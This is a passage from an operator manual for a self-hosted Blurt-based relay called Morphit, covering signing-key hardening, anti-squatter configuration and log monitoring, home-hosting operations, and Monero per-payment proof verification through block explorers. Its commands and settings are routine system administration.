Why it helps. Blurt accounts support weighted multi-key authorities natively. Set the relay account's active authority to weight-1 + weight-1, threshold 2: a key on the relay box (weight 1) AND a key held offline by the operator (weight 1). Every broadcast requires BOTH signatures.

Even total compromise of the hot key + the YubiHSM cannot move funds: the chain rejects single-signature broadcasts on this account. The attacker must also compromise the operator's offline key, which is a different threat model entirely (physical access to the operator).

What it costs.

Operational: every broadcast must be cosigned offline. The natural pattern is batch-signing: the relay queues ops; the operator goes online every 6 hours, reviews the queue, cosigns valid ops, and lets the relay broadcast the fully-signed bytes.
That 6-hour batch-sign cadence is fundamentally incompatible with on-demand free signups (which expect an account_create within seconds). Compatibility options: (a) accept a 6-hour SLA on signups, which is awful UX; (b) split the account topology so a fast-cycle "signup mint" key is single-sig on the relay while a slow-cycle "operator payout" key is 2-of-2; (c) skip this layer entirely.
Code: minimal once the multi-auth payload format is understood; chain-side support is in place.

When it makes sense. Only if you accept a 6-hour-batch signup SLA (option b above) or if signup account_create ops have been delegated to a separate key with its own narrow authority. Probably skip for v1.0; revisit if a real compromise event forces the question.

37.20 — summary table

#	Item	Cost	Value	When
37.20.1	YubiKey challenge-response boot passphrase	$45 + 1 hr	High — defeats unattended remote reboot	Now
37.20.2	`mlock` + `MADV_DONTDUMP` on key buffer	Afternoon	Medium — closes swap + coredump gaps	Now
37.20.3	Out-of-band signature alerts	1 day + ops attention	High during beta-1	Days 0–42
37.20.4	In-app signer-policy fence	Week + smoke coverage	High — bounds blast radius	Before/with 37.20.5
37.20.5	Air-gapped signer process	Sprint	Very high — isolates key from main process	First quarterly window
37.20.6	Quarterly active-key rotation	30 min/90 days	High — bounds silent-compromise window	Calendar from launch day
37.20.7	YubiHSM 2 — hardware key isolation	$650 + sprint	Maximum — key never extractable	When volume justifies capex
37.20.8	Native Blurt 2-of-2 multi-auth	Operational complexity	Maximum — but breaks on-demand signups	Probably skip for v1.0

The natural sequencing:

Week 1 of beta: 37.20.1 (YubiKey passphrase), 37.20.2 (mlock), 37.20.3 (alerts), 37.20.6 (calendar reminder).
Weeks 2–6: 37.20.4 + 37.20.5 together (policy fence and air-gapped signer; they belong next to each other).
Quarterly: 37.20.6 (rotation) fires automatically from the calendar reminder.
When morphit.io has real volume: 37.20.7 (YubiHSM 2) slots into the air-gapped signer.
Probably never (or only after an incident): 37.20.8.

Don't try to do all of these at once. Each is a layer; each needs its own verification step (which is why every subsection above declared what success looks like). Layering hardening without verification at each step compounds risk rather than reducing it — see §37.19 preamble.

38. Diamond-hardened squatter defense — operator playbook

Squatter-driven account creation is the single largest financial risk to a Morphit relay. Every successful squatter signup costs the relay ~100 BLURT (the chain's account-creation fee) regardless of who's behind it. An attacker burning $1/day on a residential proxy + automated PoW solver could in theory consume the entire daily ceiling of the relay's runway.

This section is the tactical guide for an operator who wants their relay locked down as tightly as possible against squatters specifically. It complements §18 (which is the reference doc for the layered defense stack) by walking through what to configure, what to monitor, and what to do when you suspect an attack.

38.1 Set strict defaults for every squatter-relevant knob

Drop these into your relay's Environment= directives or /etc/morphit/relay.env:

# Layer 2 — global daily ceiling.  50 is the default; lower is
# tighter.  For a small instance starting out, 25 is a sensible
# tighter posture.
MORPHIT_RELAY_SIGNUP_DAILY_CEILING=25

# Layer 3 — per-IP spacing.  60 minutes (default) lets a real
# user retry-after-failure but bounds an attacker on one IP to
# 24 signups per day even if they bypass everything else.
MORPHIT_RELAY_CREATE_SPACING_MINUTES=60

# Layer 5 — Altcha proof-of-work trigger.  Default 3 = first
# two attempts frictionless.  Drop to 2 to cap real-user
# friction at "1 invisible 1s PoW for the third+ attempt"
# while making attackers pay PoW from the second invite onward.
MORPHIT_RELAY_ALTCHA_TRIGGER_COUNT=2

# Layer 7 — high-value name policy.  STRICT.  This is the
# whole point of Layer 7 — moderate or off mode here negates
# the protection.
MORPHIT_RELAY_HIGHVALUE_NAME_POLICY=strict

# Layer 7 short-name threshold.  4 is default.  Lower to 3 if
# you want to allow 4-char names (some operators may want this
# for branding).  Higher (5+) blocks more — at the cost of
# shutting out users with legitimately short preferred names.
MORPHIT_RELAY_HIGHVALUE_SHORT_NAME_THRESHOLD=4

# Layer 8 — sequential pattern detector.  Enable.
MORPHIT_RELAY_SEQUENTIAL_DETECTOR_ENABLED=true

# Layer 8 — block on the THIRD sequential signup (default).
# Lower to 1 to block on the SECOND if you've seen any
# sequential signups in the last 24 hours.
MORPHIT_RELAY_SEQUENTIAL_THRESHOLD=2

# Layer 8 — rolling window.  Default 1 hour.  Longer (e.g.
# 86_400_000 = 24h) catches slow attackers who pace signups
# beyond an hour.  Tradeoff: more memory + more false-positive
# risk on legitimate batch workflows.
MORPHIT_RELAY_SEQUENTIAL_WINDOW_MS=3600000

Restart the relay:

sudo systemctl daemon-reload
sudo systemctl restart morphit-relay.service

# Verify the boot log shows your settings took effect:
journalctl -u morphit-relay.service --since "1 minute ago" \
  | grep -E 'highvalue|sequential|loaded'

38.2 Monitor what's getting blocked

The relay logs structured events for every Layer 7 and Layer 8 rejection. Watch them:

# Live tail — useful during incident response
journalctl -u morphit-relay.service -f \
  | grep -E 'highvalue_name_rejected|sequential_pattern_rejected'

# Last 24 hours — count by category
journalctl -u morphit-relay.service --since "24 hours ago" \
  | grep -oE 'classification":"[a-z_]+"' \
  | sort | uniq -c | sort -rn

# Last 24 hours — bucket keys involved (Layer 8 only)
journalctl -u morphit-relay.service --since "24 hours ago" \
  | grep sequential_pattern_rejected \
  | grep -oE 'bucketKey":"[^"]+"' \
  | sort | uniq -c | sort -rn

Volume baseline for a healthy relay: near zero of either event type. A handful per week of highvalue_name_rejected is normal (curious users testing what's allowed). Anything above ~10/day is worth investigating.

38.3 The five attacker patterns to recognize

Pattern	Signature	Defense
Brand grab	Single signup attempt for `nike` / `bitcoin` / `apple` from a fresh IP	Layer 7 `dictionary_brand` rejection
Short-name farm	Bursts of 3-char and 4-char names, varied prefixes, one IP	Layer 7 `short_name` rejection
Sequential enumeration	`acct001`, `acct002`, `acct003` — same /24, within hours	Layer 8 `sequential_numeric_suffix` rejection
Distributed enumeration	Same naming pattern but spread across many /24 buckets	Layer 7 catches each one if pattern matches; ceiling caps total
Slow drip	One signup per hour, varied long-prefix names, no obvious pattern	Daily ceiling caps it; LOW_BALANCE alert (Layer 6) raises the flag

38.4 Periodic audit — review recent registrations

Schedule a weekly review. Look at your relay account on blocks.blurtwallet.com and inspect the last 50 account_create operations. Watch for:

Names that look generic / patterns / brand-adjacent (e.g., mybitcoin01, cryptotrader-fast). These are squatter resale candidates that slipped past Layers 7-8 because they had long prefixes.
Accounts with NO follow-up activity (no posts, no Morphit orders, no transfers). A real user creates an account TO USE it; squatters never log in.
Sequential creation timestamps suspiciously close together.

If you see a pattern that's NOT being caught:

Add the specific names + close variants to RESERVED_NAMES in apps/relay/src/policy/name.ts. (Pre-launch this is a normal ad-hoc tightening; post-launch you'd issue a release.)
If they share a brand or dictionary signature, add to DICTIONARY_BRANDS or COMMON_DICTIONARY in apps/relay/src/policy/highValueName.ts.
Re-deploy and the next attempt at the pattern is blocked.

38.5 If you suspect an active attack

Don't panic-flip the kill-switch yet. Layers 7 + 8 may already be doing their job. Check the structured logs first (38.2 above). If the volume of highvalue_name_rejected and sequential_pattern_rejected spikes, the system is working correctly and the attacker is wasting their request budget.
Check the operator-balance alert (§16). If the relay's BLURT is draining despite the rejections, attempts ARE getting through. Most likely cause: the attacker is using long-prefix non-pattern names that pass Layer 7 + 8. In that case, drop to:
```
# Tighten Layer 8 to block on the SECOND sequential signup
MORPHIT_RELAY_SEQUENTIAL_THRESHOLD=1

# Lower the ceiling to bound damage
MORPHIT_RELAY_SIGNUP_DAILY_CEILING=10
```
If you're STILL bleeding — flip the kill-switch:
```
MORPHIT_RELAY_SIGNUP_ENABLED=false
```
Restart. Investigate. Don't re-enable until you understand what changed.
Refill BLURT only when needed. Don't auto-top-up during an active attack — you're handing the attacker more ammunition. Wait until the kill-switch is on, attack subsides, then refill.
Post-incident: tighten the dictionaries. Add the actual names the attacker registered to RESERVED_NAMES and DICTIONARY_BRANDS so they can't be re-registered.

38.6 Network-layer defenses against squatters

Layer 7-8 defenses run AFTER an attacker reaches the relay. Network-layer defenses keep them away in the first place. In addition to §32 (BunkerWeb) and §34 (UFW + fail2ban), a squatter-paranoid operator can:

a. Run the relay behind Tor / I2P only, with a clearnet mirror sitting in front.
Squatters typically don't route through anonymity networks because the latency disrupts their automation. A relay only reachable via Tor onion address has natural friction. The clearnet mirror (BunkerWeb terminating TLS, proxying to localhost relay) gives normal users a fast path; the Tor address gives privacy-conscious users a private path. Both are documented in RUN-A-MORPHIT-NODE.md §11.

b. Country-block from low-cost residential-proxy markets.
This is operator's-call and ethically fraught — Morphit serves worldwide users. But if you're under active attack from a specific country and your user base is regional, a temporary BLACKLIST_COUNTRY (BunkerWeb) or geoip-based UFW rule narrows the attacker's options without breaking your real users.

c. ASN-block from cheap-VPS providers.
Some hosting providers (DigitalOcean, Hetzner, OVH on certain ranges) are over-represented in attack traffic because they're cheap and don't scrutinize signups. Block their ASNs at the BunkerWeb layer (§32 advanced WAF tuning, item 5) if you see concentrated traffic from one. Real users almost never connect from a hosting provider's ASN — they're on residential ISPs.

d. Require a Referer: header for /v1/account/invite.
Browsers send this; bots often don't. Easy to bypass for a serious attacker but kills the lazy ones. Add to BunkerWeb:

# Reject /v1/account/invite without a referer
USE_BLOCK_REFERRER_NONE=yes
BLOCK_REFERRER_NONE_URL=/v1/account/invite

This is friction-only — not a real defense — but it filters the bot-script-using-curl tier of attacker.

38.7 The "diamond-hardened" preset

If you want maximum squatter defense and accept the user-friction tradeoff, copy this entire block into your relay's environment:

# === DIAMOND-HARDENED SQUATTER DEFENSE ===
# Documented in OPERATIONS.md §38.7.  Apply when squatter-
# defense is your primary concern and you accept moderately
# higher friction for real users.

# Layer 1 — kill-switch starts ON (signups enabled)
MORPHIT_RELAY_SIGNUP_ENABLED=true

# Layer 2 — tight daily ceiling
MORPHIT_RELAY_SIGNUP_DAILY_CEILING=20

# Layer 3 — 90 minutes between same-IP signups
MORPHIT_RELAY_CREATE_SPACING_MINUTES=90

# Layer 5 — PoW from the SECOND invite onward
MORPHIT_RELAY_ALTCHA_TRIGGER_COUNT=2
# 2x the default difficulty — ~2s on modern phone, ~4s on old
MORPHIT_RELAY_ALTCHA_MAXNUMBER=4000000

# Layer 7 — strict; 5-char minimum
MORPHIT_RELAY_HIGHVALUE_NAME_POLICY=strict
MORPHIT_RELAY_HIGHVALUE_SHORT_NAME_THRESHOLD=5

# Layer 8 — block on SECOND sequential, 24-hour window
MORPHIT_RELAY_SEQUENTIAL_DETECTOR_ENABLED=true
MORPHIT_RELAY_SEQUENTIAL_THRESHOLD=1
MORPHIT_RELAY_SEQUENTIAL_WINDOW_MS=86400000
MORPHIT_RELAY_SEQUENTIAL_MIN_PREFIX=3

The user-visible cost of this preset:

5-char minimum names (rejects 3 + 4-char preferred names some users want)
Real users see Altcha PoW from their second attempt
90-minute lockout if a user fails their first signup attempt
20 max signups per day (caps growth — tighten OFF as your instance proves stable)

If your goal is "absolute minimum BLURT loss, accept user friction," this is the configuration. Watch the rejection logs (§38.2) to make sure you're not accidentally blocking a flood of legitimate users; if you are, dial back §38.1 instead.

39. Operating a home-hosted instance — concerns specific to running on residential internet

This section is the operator-grade reference for issues that come up only when your Morphit instance is running on a residential internet connection (Pi or laptop in the operator's house, as opposed to a rented VPS).

The grandma-friendly setup walkthrough — CGNAT detection, DDNS hostname registration, port forwarding, fixed local IP, HTTPS — is in docs/RUN-A-MORPHIT-NODE.md §3 (the home-hosting section new operators read before §4). §3 is the quick first-time setup; THIS section is the deeper ongoing-operations reference for after the box is online (residential-WiFi Postgres binding, IPv6, energy cost, off-site backups, Tor fronting).

39.1 Uptime monitoring over a flaky home link

A residential internet connection has more outages and more ISP-driven hiccups than a datacenter VPS. Two changes from the standard monitoring posture (OPERATIONS.md §13 references /v1/health):

Don't alert on a single failed probe. Configure your uptime monitor (UptimeRobot, BetterStack, self-hosted Uptime Kuma, etc.) to alert only after 3 consecutive failures with at least 2-minute spacing. Cable / DSL / fiber transient drops of 30-90s are routine and don't represent a real outage.
Probe from multiple geographic regions. If you only probe from one location and that probe shares a backbone with your home ISP, you'll see false outages during peering disputes. Most monitoring services let you pick 2-4 probe locations for free; pick ones in different continents.

39.2 Restarting after power loss

Cover all three legs of the restart story:

The hardware — BIOS / UEFI "AC Power Recovery" set to "Power On" or "Last State" (laptop), or default Pi auto-boot. Set this when you first provision the machine so it comes back up after a power blip.
The OS services — systemctl is-enabled morphit-indexer morphit-relay morphit-backup.timer should all return enabled. If any are disabled, run systemctl enable for them. Test annually by issuing sudo reboot and confirming everything comes back without manual intervention.
The encrypted-key passphrase — if you're using the encrypted-envelope form for MORPHIT_RELAY_ACTIVE_KEY_FILE (apps/relay/scripts/encrypt-active-key.ts), the relay prompts for the passphrase on stdin at boot. A reboot from outside your house — for example, the UPS dying during a long outage — will leave the relay waiting for the passphrase indefinitely. Two mitigations:
1. Configure the relay's systemd unit with StandardInput=tty-force AND a wrapper service that emails you when the relay is stuck waiting for input. You then SSH in and supply the passphrase.
2. OR run the relay with the plaintext-WIF form of the key file (mode 0400, owned by the relay user, on an encrypted filesystem volume). This trades passphrase-at-boot for at-rest disk encryption. For a single-operator residential deployment, the disk-encryption-at-rest posture is usually appropriate; the passphrase-at-boot ceremony was designed for VPS deployments where the disk substrate isn't yours.

39.3 ISP terms of service

Most consumer ISPs technically prohibit "running servers" in their TOS, but enforcement is essentially never on real-world traffic — they care about open relays, port-25 spam abuse, and copyright-infringing torrent endpoints. A small Morphit instance handling normal user traffic is invisible to ISP enforcement. Realistic risk: very low. The two failure modes that have actually triggered ISP attention historically:

Sustained heavy upload bandwidth (>50% of advertised cap, sustained over weeks). Morphit's bandwidth profile is bursty and small (a few KB per orderbook fetch, infrequent). Not a concern unless you have thousands of users.
Outbound spam reports. This requires the relay's account to be compromised in a way that lets attackers send abusive ops, which is a security incident regardless of where you're hosted. Standard incident response (§7) applies.

If your ISP does send a TOS warning, the diplomatic response is "I'm running a personal cryptocurrency wallet — I can move it to a dedicated hosting provider if needed." Most ISP TOS teams accept this and don't escalate. The diplomatic-but-firmer response is "I'm running a small piece of software for my personal use and consuming less than 1% of my advertised bandwidth; please point me at the specific TOS clause you believe I'm violating." Most contact-center staff don't have an answer to that.

39.4 What if you move?

A home-hosted instance is tied to your physical address until you do something about it. When you move:

If you're moving to a new home WITH a non-CGNAT ISP, the migration is straightforward: power down at the old address, transport the hardware, plug in at the new address, repeat the router port-forward setup from RUN-A-MORPHIT-NODE.md §3 (the new router won't have your old rules), update DDNS (the script will pick up the new IP automatically within 5 minutes). Total downtime: a few hours during transport.
If you're moving to an apartment with CGNAT or a hotel for a month, you can't host from there. Two options: (a) leave the hardware powered on at the old address temporarily if you have a friend/family at that address willing to host it for a few weeks, or (b) migrate to a VPS. To migrate: pick the VPS path in RUN-A-MORPHIT-NODE.md §2, set up the new VPS using §5–§9 of that guide, point your domain at the VPS's IP (the A-record step in §4), and decommission the home machine. Your operator account, your fees account, and your reputation all stay the same — users see no change because nothing about the service identity is tied to the IP.

39.5 Cleartext local Postgres traffic in a residential WiFi context

OPERATIONS.md §14 establishes that the indexer and relay listen on 127.0.0.1 only (loopback) and Postgres connections are loopback-only. This is still correct for home hosting — but home networks have a quirk worth flagging.

If your Pi or laptop is on a wired ethernet connection to your router, Postgres-on-loopback is exactly as private as on a VPS. If it's on WiFi, the situation is the same as long as Postgres is bound to 127.0.0.1 (which is the default per RUN-A-MORPHIT-NODE.md §5's setup) — WiFi doesn't change anything because the loopback interface doesn't traverse WiFi.

The risk only emerges if you accidentally bind Postgres to 0.0.0.0. Verify periodically:

ss -tlnp | grep 5432
# Expected: 127.0.0.1:5432 only
# DANGER:   0.0.0.0:5432 or *:5432 (then any device on your home WiFi can connect)

A misconfigured Postgres on WiFi exposes it to every guest device on your network — including the smart TV that has a known CVE you didn't patch. Loopback-only is the right binding.

39.6 IPv6 considerations

Many residential ISPs are IPv6-by-default now. Two quick checks:

Does your home have a public IPv6 prefix? Run ip -6 addr show on the Morphit machine; look for an address in 2000::/3 range (i.e., starts with a 2 or 3). If yes, you have IPv6.
Does your registrar's dynamic-DNS update URL support IPv6? Many do — append the provider's IPv6 field to the update URL (often something like &ipv6=$(curl -s6 ifconfig.co) alongside the {ip} IPv4 field). Check your registrar's dynamic-DNS documentation for the exact parameter.

If you have IPv6 and want to publish AAAA records alongside your CNAME, add an AAAA record at @ and www pointing at your machine's GUA address. Modern browsers prefer IPv6 when available, which can improve user experience for IPv6-enabled visitors and reduce the load on your IPv4 NAT.

Most home operators leave IPv6 disabled at the router level and run IPv4-only — that's also fine. The home-setup walkthrough in RUN-A-MORPHIT-NODE.md §3 works either way.

39.7 Energy-cost monitoring

Optional — but if you're tracking the cost of running your home node:

Pi 4 drawing ~5W at idle, ~6W under typical Morphit load. At US average $0.16/kWh, that's 5W × 24h × 365d × 0.001 × 0.16 = $7.01/year.
Old laptop (10-15 years old) drawing ~20W at idle, ~25W under load. 25 × 24 × 365 × 0.001 × 0.16 = $35.06/year.
Old desktop (10-15 years old) drawing ~50W idle, ~80W under load. 80 × 24 × 365 × 0.001 × 0.16 = $112.20/year — at this point, the VPS path is cheaper.

A $20 plug-in power meter (Kill-A-Watt or equivalent) gives you the actual number for your hardware. Worth doing once.

39.8 Backups — the off-site copy is mandatory for home operators

OPERATIONS.md §31 documents the daily local Postgres backup (/home/morphit/backups/). For home hosters specifically, the off-site backup is mandatory, not optional. The reason is the threat model: a VPS operator who loses the local backup still has the VPS provider's snapshot of the disk. A home operator who loses the local backup to a fire / flood / theft has lost everything.

The recommended off-site backup pattern:

Free option (S3-compatible bucket): rclone to a Backblaze B2 bucket (10 GB free, $0.005/GB/month after; a Morphit DB compresses to under 1 GB). Daily upload added as a step at the end of the systemd backup unit.
Privacy-preserving option (encrypted off-site): rclone with crypt backend pointed at the same B2 bucket. The bucket sees only encrypted blobs.
Self-hosted option (offsite friend/family): rsync over ssh to a relative's NAS or another Pi at a different physical address. Tradeoff: free, but the friend's setup has to stay running too.

Whatever you pick: test the restore at least once a quarter. Untested backups have a catastrophic-failure rate; tested ones don't. The procedure is in OPERATIONS.md §31 ("Quarterly restore drill").

39.9 Network-level privacy considerations specific to home hosting

A home-hosted Morphit instance leaks your home's public IP address to every user who connects. Most users don't care, but for an operator with a public-facing role under their real name, this can be a low-grade privacy concern. Mitigations:

Front the instance with a Tor onion service (covered in OPERATIONS.md §11). Users who care can connect via the onion address; the home IP is only revealed to clearnet users. The Tor onion address itself reveals nothing about your home IP.
Move to a VPS. The VPS provider sees your home IP (because that's where you SSH in from), but users see only the VPS IP. This is the path most operators take when home-hosting visibility becomes a concern.

Whichever you pick, it doesn't have to be permanent. The ability to migrate without disrupting users is the whole point of the federated, no-user-data model.

40. Treasury chain-pin + XMR per-payment proofs — broadcasting and verifying

This section is the operator-facing reference for the canonical Morphit operator (currently @morphit) to broadcast and rotate the treasury chain-pin shipped in Part 106 (2026-05-10), corrected in Part 107 (privacy fix — view key removed from chain-pinned data), and structurally improved in Part 108++ (per-payment tx_proof verification — no view key required by any indexer).

If you are a community operator running your own Morphit instance, skip to §40.7. Part 108++ removed the previous three-options dilemma: every operator can now verify XMR fees independently, no shared secret needed.

40.1 What the chain-pin does and why it exists

Pre-Part-106, every operator's indexer trusted its own MORPHIT_INDEXER_BTC_FEE_ADDRESS / MORPHIT_INDEXER_XMR_FEE_ADDRESS env vars as gospel. A hostile fork could silently change those env vars to a hostile address and divert all BTC/XMR fees from users on that instance. ADR-0011's 2026-05-09 amendment said "BTC/XMR fees: 100% to treasury (@morphit-fees)" — the policy — but no code enforced the addresses themselves.

Part 106 closes that gap by extending the existing signed morphit_release_v1 op (already authenticated by the @morphit posting key via the trust anchor pinned in apps/web/src/lib/net/config.ts) with an optional treasury block containing BTC/XMR addresses + amounts. Every federated indexer prefers the chain-pinned canonical over its own env-var fallback. The frontend reads the same chain-pinned addresses and renders them with copy + QR + chain-pinned badge.

40.2 Three priorities: how Part 108++ realizes them

Morphit's three priorities, in order:

Privacy & anonymity for users.
Decentralization — no central authority, no chokepoints, every instance fully sovereign.
Grandma-friendly UI/UX — usable by people who have never used crypto.

Pre-Part-108++, XMR verification required the operator to hold the treasury wallet's private view key in env on their box. Even with Part 107's fix (key never on chain), this still meant only canonical morphit.io could verify XMR fees — community operators inheriting canonical's chain-pinned address had no view key, so they faced a three-options dilemma:

(a) Trust canonical's federated verdict — needed a federation-trust path that didn't exist.
(b) Run their own treasury wallet — deviates from canonical, visible in federation.
(c) Disable XMR fees — cleanest but reduces user options.

That dilemma violated priority #2: every community operator was effectively dependent on canonical morphit.io's existence and willingness to verify XMR. Federation tolerates instances disappearing — but only for the chains an instance can verify locally. XMR broke that.

Part 108++ resolves it with Monero's standard per-payment proof mechanism. The user generates a proof from their own wallet after paying; any indexer verifies the proof against the txid + treasury address using a public Monero block explorer (or a local monerod for maximum independence). Properties:

Privacy: the proof reveals only "this txid paid this address this amount." No other wallet activity, no other payments to the address, no metadata. The user is the only party that holds any verification secret (their tx_key, in their own wallet, never published). Indexers hold nothing.
Decentralization: every indexer verifies every payment independently using public information. No shared secret, no central instance. Canonical morphit.io is one indexer among many.
Grandma-friendliness: trade-off — the user must generate a proof from their wallet (one extra step vs. just pasting a txid). Mitigated by inline per-wallet instructions (CLI / GUI / Cake / Feather) in 10 locales, expandable on the post-order page.

40.3 What ships on the operator's box (Part 108++)

For the canonical morphit.io operator:

Public: BTC address, XMR address, fee amounts. These go on chain via morphit_release_v1's treasury block.
Operator-private: nothing XMR-specific anymore. The Part 107-era MORPHIT_INDEXER_XMR_FEE_VIEWKEY env var was removed entirely in Part 109. No view key lives on any operator's box.

For community operators:

Public: nothing — they inherit canonical's chain-pinned XMR address automatically.
Operator-private: nothing. XMR verification works out of the box on every Morphit instance with no shared secret.

40.3a The BLURT fee base is chain-pinned too (cp372), and auto-tracked

Until cp372 the BTC/XMR fee amounts were chain-pinned but the BLURT fee base was a per-operator env var (MORPHIT_INDEXER_FEE_BASE_BLURT) — a per-node BLURT floor that could fork the orderbook. cp372 closes that: the treasury block now also carries blurt: { base }, resolved chain-pin → env exactly like BTC/XMR, so every federated indexer enforces the same BLURT floor. Community operators do NOTHING — you inherit the chain-pinned base; MORPHIT_INDEXER_FEE_BASE_BLURT is now just your Plan-B fallback / local override (used only on a fresh node, or to deliberately run a different local floor).

Auto-re-pin (maintainer-only). The enforced amount stays a fixed chain-pin (no price read in the verifier → no fork, no quote→pay race); the displayed fee tracks the live canonical USD target (~12.5¢ BLURT, ~25¢ BTC/XMR). As the market drifts the pin goes stale, so ops/systemd/morphit-treasury-repin.timer (config: ops/env/treasury-repin.env.example) runs a daily drift check and re-pins only past a 10% threshold that sits inside the verifier's 15% band (quotes are never rejected mid-drift). The DEFAULT is detect-only (no key): it emits a treasury_repin_due alert and you broadcast by hand — release-build-payload.ts (now prompts for a BLURT fee base) into the laptop-only, key-gated release-broadcast.ts (the Plan B, no key online). Opt-in auto-broadcast (MORPHIT_REPIN_ENABLE_AUTO_BROADCAST=1 + a 0600 key file) builds+signs+broadcasts unattended — trusted signing box ONLY, never the production server (the posting key can re-pin the treasury). Failsafes: a down/zero/negative feed skips that asset (never re-pinned from a bad price), an over-ceiling computed amount is rejected, one bad feed never blocks a healthy asset, and a fetch failure aborts with no re-pin. A re-broadcast keeps the same version (no spurious update banner), updating only the amounts.

40.4 Choosing your XMR explorer backend

The XMR fee verifier sends (txid, address, proof) over HTTPS to one or more Monero block explorers' /api/outputs?txprove=1 endpoint to verify each per-payment proof. You choose how many explorers to ask, and which.

The default ships with five. How strong the cross-check actually is depends on MORPHIT_INDEXER_XMR_MIN_SUCCESSFUL_RESPONSES — the number of explorers that must AGREE on the proven amount before a result is accepted. Its default is 1, which means any single responding explorer's amount is trusted (the verifier takes the largest agreeing group, and a group of one qualifies). For real cross-check — so that a single compromised or coerced explorer cannot decide a verification — raise it to 2 or more (3 is a strong setting against the five-explorer default). At the default of 1 you get availability, not agreement-based defense.

MORPHIT_INDEXER_XMR_EXPLORER_URLS=https://xmrchain.net,https://localmonero.co/blocks,https://monerohash.com/explorer,https://exploremonero.com,https://moneroexplorer.org

These five all run the moneroexamples/onion-monero-blockchain-explorer reference codebase — same API surface, same JSON shape. They are operated by independent parties. If you want to add more or use different ones, the only constraint is API compatibility: the URL must expose /api/outputs?txhash=…&address=…&viewkey=…&txprove=1 returning JSON with status: "success" and data.outputs[*]: {amount, match}.

Monero note — that viewkey= parameter does NOT carry a real view key. It is the onion-monero-blockchain-explorer's own API naming. Combined with txprove=1, the explorer interprets the value as a single-use transaction proof (the OutProof… string the payer generated with get_tx_proof), NOT a wallet view key. Morphit never holds, transmits, or logs a treasury view key — there isn't one (see §12 and §40.2). The indexer puts the payer's per-payment proof in that slot; it reveals only "this txid paid this address this amount" and nothing else about any wallet. (The indexer also logs only the explorer's base URL, never the full URL with the proof.)

Explorers known to be API-compatible (5):

https://xmrchain.net (reference instance, run by moneroexamples)
https://localmonero.co/blocks
https://monerohash.com/explorer
https://exploremonero.com
https://moneroexplorer.org

Explorers known to be NOT API-compatible:

https://xmrscan.org — different codebase
https://blockchair.com/monero — different API shape, no txprove=1 endpoint
https://monero.bar — lightweight network-health dashboard (block height, difficulty, hashrate, pool distribution, RPC node status); useful for operators eyeballing the state of the Monero network and for spot-checking RPC node availability, but not a full block explorer and does NOT expose the /api/outputs?txprove=1 endpoint. Do not add to MORPHIT_INDEXER_XMR_EXPLORER_URLS. Bookmark it as a sidebar tool, not a verification source.

Option 1: Public multi-explorer (default). No operator setup. Cross-check among five independent parties. Each one sees the same per-payment data (txid, address, proof) at verification time; none of them accumulates any wallet-level secret (the proof is single-payment). This is the recommended default for new operators.

# (this IS the default — set explicitly only if
# you want to customize the list)
MORPHIT_INDEXER_XMR_EXPLORER_URLS=https://xmrchain.net,https://localmonero.co/blocks,https://monerohash.com/explorer,https://exploremonero.com,https://moneroexplorer.org

Option 2: Self-hosted Monero block explorer + local monerod (priority #2 maximum independence). Spin up your own monerod and monero-block-explorer on the operator box; point the verifier at localhost. No third-party sees any verification request.

# In docker-compose.yml on your operator box:
# (Pin both images to specific tags — never `:latest` — for
#  reproducibility.  Update by checking the upstream pages for
#  current stable releases before each deploy.)
services:
  monerod:
    # Check https://github.com/sethforprivacy/simple-monerod-docker/pkgs/container/simple-monerod
    # for the current Monero stable release; pin to that tag.
    image: ghcr.io/sethforprivacy/simple-monerod:v0.18.4.1
    volumes:
      - ./monero-data:/home/monero/.bitmonero
    command:
      - --restricted-rpc
      - --rpc-bind-ip=0.0.0.0
      - --rpc-bind-port=18081
      - --confirm-external-bind
      - --no-igd
      - --enable-dns-blocklist
    networks: [internal]

  block-explorer:
    # Locally-built image (the `build:` directive below compiles
    # from source).  Pin the local tag so `docker compose up`
    # rebuilds deterministically when the upstream changes.
    image: morphit-xmrblocks:v1
    build:
      context: https://github.com/moneroexamples/onion-monero-blockchain-explorer.git
    depends_on: [monerod]
    command: >
      ./xmrblocks
        --daemon-url=monerod:18081
        --enable-json-api
        --enable-ssl
    ports:
      - "127.0.0.1:8081:8081"
    networks: [internal]

networks:
  internal:
    driver: bridge

Then in /etc/morphit/indexer.env:

MORPHIT_INDEXER_XMR_EXPLORER_URLS=https://localhost:8081

(Use HTTPS via a local reverse proxy with a self-signed cert, or relax the HTTPS-only check by patching your own build — the public default enforces HTTPS for network-bound calls; for localhost, the constraint is defensible-in-depth, not security-critical.)

What this option costs: ~50 GB disk for the Monero chain, sync time ~3-7 days, and ongoing block ingestion (low CPU, but persistent). For high-volume operators who care about priority #2 maximum independence, this is the right answer.

Option 3: Hybrid (recommended for security-conscious operators). Multiple explorer URLs combining self-hosted + public. Detect manipulation: if your self-hosted result ever disagrees with the public ones, you have evidence.

MORPHIT_INDEXER_XMR_EXPLORER_URLS=https://localhost:8081,https://xmrchain.net,https://localmonero.co/blocks

How disagreement is handled. The verifier groups the responding explorers by the amount each one proves and takes the largest agreeing group ("bucket"). It accepts that bucket's amount once the bucket has at least MORPHIT_INDEXER_XMR_MIN_SUCCESSFUL_RESPONSES members (default 1); a minority reporting a different amount is simply outvoted, not treated as a hard error. Non-responding explorers (timeout, network error, circuit-breaker open) are skipped — they don't block the verification, and the breaker handles per-explorer flakiness. If no amount gathers enough agreeing explorers, the verifier returns rejected with reason quorum not met: best group had < N agreeing explorers (…) (or all N explorers in cooldown when every explorer is circuit-broken). Raising the quorum above 1 is what turns a minority outlier into a rejection worth investigating — a compromised explorer, a chain reorg, or a stale view at one explorer.

Failure modes by config size.

1 explorer: any outage stops XMR verification (orders wait in pending_external). Any compromise lies undetected.
2 explorers: outages tolerated by either; lies detectable as long as both don't lie identically.
5 explorers (default): high availability + strong cross-check. Two would need to be compromised collude-style to lie undetected.
5 explorers including self-hosted: as above PLUS the self-hosted result is authoritative-to-you; divergence is evidence rather than a coin-flip.

These detection properties assume you have raised MORPHIT_INDEXER_XMR_MIN_SUCCESSFUL_RESPONSES to ≥2. At the default of 1, the largest single response is trusted and a lie from a lone responding explorer is NOT detected — more explorers only add availability, not cross-check, until the quorum is raised.

40.5 Generating the keys (one-time, before first broadcast)

You need:

A dedicated Bitcoin address for treasury inflows.
A dedicated Monero address for treasury inflows.
A way to broadcast a signed custom_json op from @morphit — typically a Blurt-aware wallet (Vessel, blurt-cli, beempy, dblurt-script).

Bitcoin address. Create a fresh wallet for treasury inflows. Native segwit (bc1q...) is recommended for the lower miner fees. Whatever Bitcoin wallet you use is fine; just make sure the seed is backed up offline and the spending key never reaches the morphit.io production server.

